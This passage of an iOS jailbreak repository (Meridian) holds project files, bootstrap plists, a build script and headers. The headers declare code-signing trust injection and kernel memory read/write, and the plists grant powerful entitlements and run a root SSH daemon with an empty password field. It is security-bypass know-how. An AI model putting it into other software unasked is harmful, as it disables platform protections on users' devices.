├── .gitignore ├── LICENSE.md ├── Meridian ├── Meridian.xcodeproj │ ├── project.pbxproj │ ├── project.xcworkspace │ │ ├── contents.xcworkspacedata │ │ └── xcshareddata │ │ │ ├── IDEWorkspaceChecks.plist │ │ │ └── WorkspaceSettings.xcsettings │ └── xcuserdata │ │ └── ben.xcuserdatad │ │ └── xcschemes │ │ └── xcschememanagement.plist ├── Meridian │ ├── amfi.h │ ├── amfi.m │ ├── bootstrap │ │ ├── create-meridian-bootstrap.sh │ │ ├── cydia-base.tar │ │ ├── dpkgdb-base.tar │ │ ├── installer-base.tar │ │ ├── meridian-bootstrap.tar │ │ ├── meridian-bootstrap │ │ │ ├── Library │ │ │ │ └── MobileSubstrate │ │ │ │ │ └── ServerPlugins │ │ │ │ │ └── Unrestrict.dylib │ │ │ ├── bin │ │ │ │ ├── launchctl │ │ │ │ └── uicache │ │ │ ├── meridian │ │ │ │ ├── amfid_payload.dylib │ │ │ │ ├── dropbear │ │ │ │ │ ├── dropbear │ │ │ │ │ └── dropbear.plist │ │ │ │ ├── ent.plist │ │ │ │ ├── jailbreakd │ │ │ │ │ ├── jailbreakd │ │ │ │ │ └── jailbreakd.plist │ │ │ │ ├── ldrestart │ │ │ │ ├── nohup │ │ │ │ └── offsets.plist │ │ │ ├── private │ │ │ │ └── var │ │ │ │ │ └── log │ │ │ │ │ └── lastlog │ │ │ └── usr │ │ │ │ └── lib │ │ │ │ ├── libjailbreak.dylib │ │ │ │ └── pspawn_hook.dylib │ │ ├── optional-base.tar │ │ ├── system-base.tar │ │ └── tar.tar │ ├── common.h │ ├── helpers │ │ ├── cs_blobs.h │ │ ├── fucksigningservices.h │ │ ├── fucksigningservices.m │ │ ├── helpers.h │ │ ├── helpers.m │ │ ├── iokit.h │ │ ├── kernel.h │ │ ├── kernel.m │ │ ├── main.m │ │ ├── nonce.h │ │ ├── nonce.m │ │ ├── nvpatch.c │ │ ├── nvpatch.h │ │ ├── untar.h │ │ └── untar.m │ ├── jailbreak.h │ ├── jailbreak.m │ ├── mach │ │ ├── jailbreak_daemonUser.c │ │ └── jailbreak_daemonUser.h │ ├── patchfinders │ │ ├── liboffsetfinder64.hpp │ │ ├── offsetdump.h │ │ ├── offsetdump.m │ │ ├── offsetfinder.h │ │ ├── offsetfinder.mm │ │ ├── patchfinder64.c │ │ └── patchfinder64.h │ ├── preferences.h │ ├── preferences.m │ ├── root-rw.h │ ├── root-rw.m │ ├── v0rtex.h │ ├── v0rtex.m │ └── views │ │ ├── AppDelegate.h │ │ ├── AppDelegate.m │ │ ├── Assets.xcassets │ │ ├── AppIcon-Blue.appiconset │ │ │ ├── Contents.json │ │ │ ├── Icon-App-20x20@1x.png │ │ │ ├── Icon-App-20x20@2x.png │ │ │ ├── Icon-App-20x20@3x.png │ │ │ ├── Icon-App-29x29@1x.png │ │ │ ├── Icon-App-29x29@2x.png │ │ │ ├── Icon-App-29x29@3x.png │ │ │ ├── Icon-App-40x40@1x.png │ │ │ ├── Icon-App-40x40@2x.png │ │ │ ├── Icon-App-40x40@3x.png │ │ │ ├── Icon-App-57x57@1x.png │ │ │ ├── Icon-App-57x57@2x.png │ │ │ ├── Icon-App-60x60@2x.png │ │ │ ├── Icon-App-60x60@3x.png │ │ │ ├── Icon-App-72x72@1x.png │ │ │ ├── Icon-App-72x72@2x.png │ │ │ ├── Icon-App-76x76@1x.png │ │ │ ├── Icon-App-76x76@2x.png │ │ │ ├── Icon-App-83.5x83.5@2x.png │ │ │ ├── Icon-Small-50x50@1x.png │ │ │ ├── Icon-Small-50x50@2x.png │ │ │ └── ItunesArtwork@2x.png │ │ ├── AppIcon-White.appiconset │ │ │ ├── Contents.json │ │ │ ├── Icon-App-20x20@1x.png │ │ │ ├── Icon-App-20x20@2x.png │ │ │ ├── Icon-App-20x20@3x.png │ │ │ ├── Icon-App-29x29@1x.png │ │ │ ├── Icon-App-29x29@2x.png │ │ │ ├── Icon-App-29x29@3x.png │ │ │ ├── Icon-App-40x40@1x.png │ │ │ ├── Icon-App-40x40@2x.png │ │ │ ├── Icon-App-40x40@3x.png │ │ │ ├── Icon-App-57x57@1x.png │ │ │ ├── Icon-App-57x57@2x.png │ │ │ ├── Icon-App-60x60@2x.png │ │ │ ├── Icon-App-60x60@3x.png │ │ │ ├── Icon-App-72x72@1x.png │ │ │ ├── Icon-App-72x72@2x.png │ │ │ ├── Icon-App-76x76@1x.png │ │ │ ├── Icon-App-76x76@2x.png │ │ │ ├── Icon-App-83.5x83.5@2x.png │ │ │ ├── Icon-Small-50x50@1x.png │ │ │ ├── Icon-Small-50x50@2x.png │ │ │ └── ItunesArtwork@2x.png │ │ ├── Contents.json │ │ ├── Icons │ │ │ ├── Contents.json │ │ │ ├── archive.imageset │ │ │ │ ├── Contents.json │ │ │ │ ├── archive@2x.png │ │ │ │ └── archive@3x.png │ │ │ ├── console.imageset │ │ │ │ ├── Contents.json │ │ │ │ ├── console@2x.png │ │ │ │ └── console@3x.png │ │ │ ├── gears.imageset │ │ │ │ ├── Contents.json │ │ │ │ ├── gears@2x.png │ │ │ │ └── gears@3x.png │ │ │ ├── hammer.imageset │ │ │ │ ├── Contents.json │ │ │ │ ├── hammer@2x.png │ │ │ │ └── hammer@3x.png │ │ │ ├── handshake.imageset │ │ │ │ ├── Contents.json │ │ │ │ ├── handshake@2x.png │ │ │ │ └── handshake@3x.png │ │ │ ├── jail.imageset │ │ │ │ ├── Contents.json │ │ │ │ ├── jail@2x.png │ │ │ │ └── jail@3x.png │ │ │ ├── ladybug.imageset │ │ │ │ ├── Contents.json │ │ │ │ ├── ladybug@2x.png │ │ │ │ └── ladybug@3x.png │ │ │ ├── list.imageset │ │ │ │ ├── Contents.json │ │ │ │ ├── list@2x.png │ │ │ │ └── list@3x.png │ │ │ ├── settings.imageset │ │ │ │ ├── Contents.json │ │ │ │ ├── settings@2x.png │ │ │ │ └── settings@3x.png │ │ │ ├── source_code.imageset │ │ │ │ ├── Contents.json │ │ │ │ ├── source_code@2x.png │ │ │ │ └── source_code@3x.png │ │ │ ├── synchronize.imageset │ │ │ │ ├── Contents.json │ │ │ │ ├── synchronize@2x.png │ │ │ │ └── synchronize@3x.png │ │ │ ├── trash.imageset │ │ │ │ ├── Contents.json │ │ │ │ ├── trash@2x.png │ │ │ │ └── trash@3x.png │ │ │ ├── twitter.imageset │ │ │ │ ├── Contents.json │ │ │ │ ├── twitter@2x.png │ │ │ │ └── twitter@3x.png │ │ │ └── www.imageset │ │ │ │ ├── Contents.json │ │ │ │ ├── www@2x.png │ │ │ │ └── www@3x.png │ │ ├── Map.imageset │ │ │ ├── Contents.json │ │ │ └── DarkMap.png │ │ └── Splash.imageset │ │ │ ├── Contents.json │ │ │ ├── splash@2x.png │ │ │ └── splash@3x.png │ │ ├── Base.lproj │ │ ├── LaunchScreen.storyboard │ │ └── Main.storyboard │ │ ├── CreditsController.h │ │ ├── CreditsController.m │ │ ├── Info.plist │ │ ├── SettingsController.h │ │ ├── SettingsController.m │ │ ├── ViewController.h │ │ └── ViewController.m ├── amfid │ ├── Makefile │ ├── common.h │ ├── cs_blobs.h │ ├── cs_dingling.h │ ├── cs_dingling.m │ ├── ent_patching.h │ ├── ent_patching.m │ ├── helpers │ │ ├── fishhook.c │ │ ├── fishhook.h │ │ ├── kexecute.h │ │ ├── kexecute.m │ │ ├── kmem.c │ │ ├── kmem.h │ │ ├── offsetof.c │ │ ├── offsetof.h │ │ ├── osobject.c │ │ └── osobject.h │ ├── kern_utils.h │ ├── kern_utils.m │ ├── main.m │ └── ubc_headers.h ├── exportPlist.plist ├── fishhook │ ├── fishhook.c │ └── fishhook.h ├── jailbreakd │ ├── Makefile │ ├── common.h │ ├── entitlements.xml │ ├── helpers │ │ ├── kexecute.h │ │ ├── kexecute.m │ │ ├── kmem.h │ │ ├── kmem.m │ │ ├── offsetof.c │ │ ├── offsetof.h │ │ ├── osobject.c │ │ └── osobject.h │ ├── kern_utils.h │ ├── kern_utils.m │ ├── mach │ │ ├── jailbreak_daemonServer.c │ │ ├── jailbreak_daemonServer.h │ │ └── mig.defs │ ├── main.m │ ├── sandbox.h │ └── sandbox.m ├── libimg4tool.a ├── libmerged.a ├── liboffsetfinder64.a ├── libplist++.a ├── libplist.a ├── pspawn_hook │ ├── Makefile │ ├── fishhook.c │ ├── fishhook.h │ ├── mach │ │ ├── jailbreak_daemonUser.c │ │ └── jailbreak_daemonUser.h │ └── pspawn_hook.m └── unrestrict │ ├── Makefile │ ├── common.h │ ├── helpers │ ├── kexecute.c │ ├── kexecute.h │ ├── kmem.c │ ├── kmem.h │ ├── offsetof.c │ ├── offsetof.h │ ├── osobject.c │ └── osobject.h │ ├── kern_utils.c │ ├── kern_utils.h │ ├── main.c │ ├── sandbox.c │ ├── sandbox.h │ └── unrestrict.c ├── README.md └── Working_with_libjailbreak.md /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | xcuserdata 3 | *.xcuserstate 4 | .theos 5 | obj 6 | build_time 7 | **/bin 8 | 9 | !**/meridian-bootstrap/**/* 10 | 11 | -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Ben Sparkes 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Meridian/Meridian.xcodeproj/project.xcworkspace/contents.xcworkspacedata: -------------------------------------------------------------------------------- 1 | 2 | 4 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /Meridian/Meridian.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | IDEDidComputeMac32BitWarning 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /Meridian/Meridian.xcodeproj/project.xcworkspace/xcshareddata/WorkspaceSettings.xcsettings: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /Meridian/Meridian.xcodeproj/xcuserdata/ben.xcuserdatad/xcschemes/xcschememanagement.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | SchemeUserState 6 | 7 | Meridian.xcscheme 8 | 9 | orderHint 10 | 0 11 | 12 | SafeMode.xcscheme 13 | 14 | orderHint 15 | 1 16 | 17 | TweakLoader.xcscheme 18 | 19 | orderHint 20 | 5 21 | 22 | amfid.xcscheme 23 | 24 | orderHint 25 | 2 26 | 27 | asd.xcscheme 28 | 29 | orderHint 30 | 4 31 | 32 | injector.xcscheme 33 | 34 | orderHint 35 | 2 36 | 37 | jailbreakd.xcscheme 38 | 39 | orderHint 40 | 3 41 | 42 | libjailbreak.xcscheme 43 | 44 | orderHint 45 | 3 46 | 47 | pspawn_hook.xcscheme 48 | 49 | orderHint 50 | 1 51 | 52 | unrestrict.xcscheme 53 | 54 | orderHint 55 | 4 56 | 57 | 58 | SuppressBuildableAutocreation 59 | 60 | B514CC751FECD788005F4E6B 61 | 62 | primary 63 | 64 | 65 | 66 | 67 | 68 | -------------------------------------------------------------------------------- /Meridian/Meridian/amfi.h: -------------------------------------------------------------------------------- 1 | // 2 | // amfi.h 3 | // Meridian 4 | // 5 | // Created by Ben Sparkes on 19/12/2017. 6 | // Copyright © 2017 Ben Sparkes. All rights reserved. 7 | // 8 | 9 | #include 10 | #include "helpers/cs_blobs.h" 11 | 12 | typedef struct { 13 | const char *name; 14 | uint64_t file_off; 15 | int fd; 16 | const void *addr; 17 | size_t size; 18 | } img_info_t; 19 | 20 | typedef char hash_t[20]; 21 | 22 | struct trust_chain { 23 | uint64_t next; 24 | unsigned char uuid[16]; 25 | unsigned int count; 26 | hash_t hash[1]; 27 | }; 28 | 29 | int init_amfi(void); 30 | int inject_trust(const char *path); 31 | 32 | void *put_dick_in_macho(const char *path, uint64_t file_off); 33 | const uint8_t *find_code_signature(img_info_t *info, uint32_t *cs_size); 34 | int find_best_codedir(const void *csblob, uint32_t blob_size, const CS_CodeDirectory **chosen_cd); 35 | unsigned int hash_rank(const CS_CodeDirectory *cd); 36 | int hash_code_directory(const CS_CodeDirectory *directory, uint8_t hash[CS_CDHASH_LEN]); 37 | const char *get_hash_name(uint8_t hash_type); 38 | int open_img(img_info_t* info); 39 | void close_img(img_info_t* info); 40 | -------------------------------------------------------------------------------- /Meridian/Meridian/bootstrap/create-meridian-bootstrap.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | currDir=$(dirname $0) 4 | meridianDir=$currDir/../.. 5 | baseDir=$currDir/meridian-bootstrap 6 | 7 | # amfid_payload.dylib 8 | cp $meridianDir/amfid/bin/* $baseDir/meridian/ 9 | 10 | # pspawn_hook.dylib 11 | cp $meridianDir/pspawn_hook/bin/* $baseDir/usr/lib/ 12 | 13 | # jailbreakd 14 | cp $meridianDir/jailbreakd/bin/* $baseDir/meridian/jailbreakd/ 15 | 16 | # Unrestrict.dylib 17 | cp $meridianDir/unrestrict/bin/* $baseDir/Library/MobileSubstrate/ServerPlugins/ 18 | 19 | # remove all .DS_Store files 20 | find $baseDir -name '.DS_Store' -delete 21 | 22 | # create tar archive 23 | cd $baseDir 24 | COPYFILE_DISABLE=1 tar -cf meridian-bootstrap.tar ./* 25 | mv meridian-bootstrap.tar $currDir 26 | -------------------------------------------------------------------------------- /Meridian/Meridian/bootstrap/cydia-base.tar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/bootstrap/cydia-base.tar -------------------------------------------------------------------------------- /Meridian/Meridian/bootstrap/dpkgdb-base.tar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/bootstrap/dpkgdb-base.tar -------------------------------------------------------------------------------- /Meridian/Meridian/bootstrap/installer-base.tar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/bootstrap/installer-base.tar -------------------------------------------------------------------------------- /Meridian/Meridian/bootstrap/meridian-bootstrap.tar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/bootstrap/meridian-bootstrap.tar -------------------------------------------------------------------------------- /Meridian/Meridian/bootstrap/meridian-bootstrap/Library/MobileSubstrate/ServerPlugins/Unrestrict.dylib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/bootstrap/meridian-bootstrap/Library/MobileSubstrate/ServerPlugins/Unrestrict.dylib -------------------------------------------------------------------------------- /Meridian/Meridian/bootstrap/meridian-bootstrap/bin/launchctl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/bootstrap/meridian-bootstrap/bin/launchctl -------------------------------------------------------------------------------- /Meridian/Meridian/bootstrap/meridian-bootstrap/bin/uicache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/bootstrap/meridian-bootstrap/bin/uicache -------------------------------------------------------------------------------- /Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/amfid_payload.dylib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/amfid_payload.dylib -------------------------------------------------------------------------------- /Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/dropbear/dropbear: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/dropbear/dropbear -------------------------------------------------------------------------------- /Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/dropbear/dropbear.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Label 6 | dropbear 7 | Program 8 | /meridian/dropbear/dropbear 9 | UserName 10 | root 11 | RunAtLoad 12 | 13 | KeepAlive 14 | 15 | StandardErrorPath 16 | /var/log/dropbear-stderr.log 17 | ProgramArguments 18 | 19 | /meridian/dropbear/dropbear 20 | -p 21 | 22 22 | -p 23 | 2222 24 | -F 25 | -R 26 | -E 27 | -m 28 | -S 29 | / 30 | 31 | StandardOutPath 32 | /var/log/dropbear-stdout.log 33 | 34 | 35 | -------------------------------------------------------------------------------- /Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/ent.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | com.apple.system-task-ports 6 | 7 | task_for_pid-allow 8 | 9 | com.apple.private.security.no-container 10 | 11 | platform-application 12 | 13 | get-task-allow 14 | 15 | com.apple.private.skip-library-validation 16 | 17 | com.apple.lsapplicationworkspace.rebuildappdatabases 18 | 19 | 20 | 21 | -------------------------------------------------------------------------------- /Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/jailbreakd/jailbreakd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/jailbreakd/jailbreakd -------------------------------------------------------------------------------- /Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/jailbreakd/jailbreakd.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Label 6 | jailbreakd 7 | Program 8 | /meridian/jailbreakd/jailbreakd 9 | EnvironmentVariables 10 | 11 | KernelBase 12 | 0x0000000000000000 13 | KernProcAddr 14 | 0x0000000000000000 15 | ZoneMapOffset 16 | 0x0000000000000000 17 | AddRetGadget 18 | 0x0000000000000000 19 | OSBooleanTrue 20 | 0x0000000000000000 21 | OSBooleanFalse 22 | 0x0000000000000000 23 | OSUnserializeXML 24 | 0x0000000000000000 25 | Smalloc 26 | 0x0000000000000000 27 | 28 | UserName 29 | root 30 | MachServices 31 | 32 | zone.sparkes.jailbreakd 33 | 34 | HostSpecialPort 35 | 15 36 | 37 | 38 | RunAtLoad 39 | 40 | KeepAlive 41 | 42 | StandardErrorPath 43 | /var/log/jailbreakd-stderr.log 44 | StandardOutPath 45 | /var/log/jailbreakd-stdout.log 46 | 47 | 48 | -------------------------------------------------------------------------------- /Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/ldrestart: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/ldrestart -------------------------------------------------------------------------------- /Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/nohup: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/nohup -------------------------------------------------------------------------------- /Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/offsets.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /Meridian/Meridian/bootstrap/meridian-bootstrap/private/var/log/lastlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/bootstrap/meridian-bootstrap/private/var/log/lastlog -------------------------------------------------------------------------------- /Meridian/Meridian/bootstrap/meridian-bootstrap/usr/lib/libjailbreak.dylib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/bootstrap/meridian-bootstrap/usr/lib/libjailbreak.dylib -------------------------------------------------------------------------------- /Meridian/Meridian/bootstrap/meridian-bootstrap/usr/lib/pspawn_hook.dylib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/bootstrap/meridian-bootstrap/usr/lib/pspawn_hook.dylib -------------------------------------------------------------------------------- /Meridian/Meridian/bootstrap/optional-base.tar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/bootstrap/optional-base.tar -------------------------------------------------------------------------------- /Meridian/Meridian/bootstrap/system-base.tar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/bootstrap/system-base.tar -------------------------------------------------------------------------------- /Meridian/Meridian/bootstrap/tar.tar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/bootstrap/tar.tar -------------------------------------------------------------------------------- /Meridian/Meridian/common.h: -------------------------------------------------------------------------------- 1 | #ifndef COMMON_H 2 | #define COMMON_H 3 | 4 | #include // uint*_t 5 | #include 6 | 7 | #define LOG(str, args...) do { NSLog(@str "\n", ##args); } while(0) 8 | 9 | #ifdef __LP64__ 10 | # define ADDR "0x%016llx" 11 | typedef uint64_t kptr_t; 12 | #else 13 | # define ADDR "0x%08x" 14 | typedef uint32_t kptr_t; 15 | #endif 16 | 17 | #endif 18 | -------------------------------------------------------------------------------- /Meridian/Meridian/helpers/fucksigningservices.h: -------------------------------------------------------------------------------- 1 | // 2 | // fucksigningservices.h 3 | // Meridian 4 | // 5 | // Created by Ben Sparkes on 07/01/2018. 6 | // Copyright © 2018 Ben Sparkes. All rights reserved. 7 | // 8 | 9 | #ifndef fucksigningservices_h 10 | #define fucksigningservices_h 11 | 12 | #import "ViewController.h" 13 | #import 14 | 15 | @interface fucksigningservices : NSObject 16 | 17 | + (Boolean)appIsPirated:(NSString *)profilePath; 18 | 19 | @end 20 | 21 | #endif /* fucksigningservices_h */ 22 | -------------------------------------------------------------------------------- /Meridian/Meridian/helpers/fucksigningservices.m: -------------------------------------------------------------------------------- 1 | // 2 | // fuck-signing-services.m 3 | // Meridian 4 | // 5 | // Created by Ben Sparkes on 07/01/2018. 6 | // Copyright © 2018 Ben Sparkes. All rights reserved. 7 | // 8 | 9 | #import "fucksigningservices.h" 10 | 11 | @interface NSString (profileHelper) 12 | - (id)dictionaryFromString; 13 | @end 14 | 15 | @implementation NSString (profileHelper) 16 | 17 | // convert basic XML plist string from the profile and convert it into a mutable nsdictionary 18 | - (id)dictionaryFromString 19 | { 20 | NSData *theData = [self dataUsingEncoding:NSUTF8StringEncoding allowLossyConversion:YES]; 21 | id theDict = [NSPropertyListSerialization propertyListWithData:theData 22 | options:NSPropertyListMutableContainersAndLeaves 23 | format:nil 24 | error:nil]; 25 | return theDict; 26 | } 27 | 28 | @end 29 | 30 | @implementation fucksigningservices : NSObject 31 | 32 | // creds @nitoTV/lechium the fuckin' madman 33 | // https://github.com/lechium/ProvisioningProfileCleaner/blob/master/ProvisioningProfileCleaner/KBProfileHelper.m#L648 34 | + (Boolean)appIsPirated:(NSString *)profilePath 35 | { 36 | NSString *fileContents = [NSString stringWithContentsOfFile:profilePath 37 | encoding:NSUTF8StringEncoding 38 | error:nil]; 39 | NSUInteger fileLength = [fileContents length]; 40 | 41 | if (fileLength == 0) return false; 42 | 43 | // find NSRange location of "]; 47 | 48 | // adjust the location of endingRange to include into our newly trimmed string. 49 | NSUInteger endingLocation = endingRange.location + endingRange.length; 50 | 51 | // offset the ending location to trim out the "garbage" before 55 | NSRange plistRange = NSMakeRange(startingLocation, endingLocationAdjusted); 56 | 57 | NSString *plistString = [fileContents substringWithRange:plistRange]; 58 | 59 | NSMutableDictionary *dict = [plistString dictionaryFromString]; 60 | 61 | // Grab provisioning entries 62 | NSObject *provisionsAllDevices = [dict objectForKey:@"ProvisionsAllDevices"]; 63 | NSArray *provisionedDevices = [dict objectForKey:@"ProvisionedDevices"]; 64 | 65 | // Check whether keys are present & evaluate 66 | return (provisionsAllDevices != nil && 67 | provisionedDevices == nil); 68 | } 69 | 70 | @end 71 | -------------------------------------------------------------------------------- /Meridian/Meridian/helpers/helpers.h: -------------------------------------------------------------------------------- 1 | // 2 | // helpers.h 3 | // Meridian 4 | // 5 | // Created by Ben Sparkes on 30/12/2017. 6 | // Copyright © 2017 Ben Sparkes. All rights reserved. 7 | // 8 | 9 | #ifndef helpers_h 10 | #define helpers_h 11 | 12 | #include 13 | 14 | #define CS_GET_TASK_ALLOW 0x0000004 /* has get-task-allow entitlement */ 15 | #define CS_INSTALLER 0x0000008 /* has installer entitlement */ 16 | #define CS_HARD 0x0000100 /* don't load invalid pages */ 17 | #define CS_RESTRICT 0x0000800 /* tell dyld to treat restricted */ 18 | #define CS_PLATFORM_BINARY 0x4000000 /* this is a platform binary */ 19 | 20 | #define JAILBREAKD_COMMAND_ENTITLE 1 21 | #define JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT 2 22 | #define JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT_FROM_XPCPROXY 3 23 | #define JAILBREAKD_COMMAND_FIXUP_SETUID 4 24 | 25 | int call_jailbreakd(int command, pid_t pid); 26 | uint64_t find_proc_by_name(char* name); 27 | uint64_t find_proc_by_pid(uint32_t pid); 28 | uint32_t get_pid_for_name(char* name); 29 | int uicache(void); 30 | int start_launchdaemon(const char *path); 31 | int respring(void); 32 | int inject_library(pid_t pid, const char *path); 33 | int killall(const char *procname, const char *kill); 34 | int check_for_jailbreak(void); 35 | char *itoa(long n); 36 | int file_exists(const char *path); 37 | void read_file(const char* path); 38 | int cp(const char *from, const char *to); 39 | int num_files(const char *path); 40 | char* bundled_file(const char *filename); 41 | char* bundle_path(void); 42 | int extract_bundle(const char* bundle_name, const char* directory); 43 | int extract_bundle_tar(const char *bundle_name); 44 | void touch_file(char *path); 45 | char* concat(const char *s1, const char *s2); 46 | void grant_csflags(pid_t pd); 47 | int execprog(const char *prog, const char* args[]); 48 | void restart_device(void); 49 | double uptime(void); 50 | void suspend_all_threads(void); 51 | void resume_all_threads(void); 52 | 53 | #endif 54 | -------------------------------------------------------------------------------- /Meridian/Meridian/helpers/kernel.h: -------------------------------------------------------------------------------- 1 | // 2 | // kernel.h 3 | // Meridian 4 | // 5 | // Created by Ben Sparkes on 16/12/2017. 6 | // Copyright © 2017 Ben Sparkes. All rights reserved. 7 | // 8 | 9 | #include 10 | 11 | enum arg_type { 12 | ARG_LITERAL, 13 | ARG_BUFFER, 14 | ARG_BUFFER_PERSISTENT, // don't free the buffer after the call 15 | ARG_OUT_BUFFER, 16 | ARG_INOUT_BUFFER 17 | }; 18 | 19 | typedef struct _arg_desc { 20 | uint64_t type; 21 | uint64_t value; 22 | uint64_t length; 23 | } arg_desc; 24 | 25 | #define REMOTE_LITERAL(val) &(arg_desc){ARG_LITERAL, (uint64_t)val, (uint64_t)0} 26 | #define REMOTE_BUFFER(ptr, size) &(arg_desc){ARG_BUFFER, (uint64_t)ptr, (uint64_t)size} 27 | #define REMOTE_CSTRING(str) &(arg_desc){ARG_BUFFER, (uint64_t)str, (uint64_t)(strlen(str)+1)} 28 | 29 | task_t tfp0; 30 | uint64_t kslide; 31 | uint64_t kernel_base; 32 | uint64_t kern_ucred; 33 | uint64_t kernprocaddr; 34 | 35 | kern_return_t mach_vm_write(vm_map_t target_task, 36 | mach_vm_address_t address, 37 | vm_offset_t data, 38 | mach_msg_type_number_t dataCnt); 39 | 40 | kern_return_t mach_vm_read_overwrite(vm_map_t target_task, 41 | mach_vm_address_t address, 42 | mach_vm_size_t size, 43 | mach_vm_address_t data, 44 | mach_vm_size_t *outsize); 45 | 46 | kern_return_t mach_vm_allocate(vm_map_t, 47 | mach_vm_address_t *, 48 | mach_vm_size_t, int); 49 | 50 | kern_return_t mach_vm_deallocate(vm_map_t target, 51 | mach_vm_address_t address, 52 | mach_vm_size_t size); 53 | 54 | kern_return_t mach_vm_region(vm_map_t target_task, 55 | mach_vm_address_t *address, 56 | mach_vm_size_t *size, 57 | vm_region_flavor_t flavor, 58 | vm_region_info_t info, 59 | mach_msg_type_number_t *infoCnt, 60 | mach_port_t *object_name); 61 | 62 | kern_return_t bootstrap_look_up(mach_port_t port, const char *service, mach_port_t *server_port); 63 | 64 | uint64_t kalloc(size_t size); 65 | void kfree(uint64_t addr, uint64_t size); 66 | 67 | size_t kread(uint64_t where, void *p, size_t size); 68 | size_t 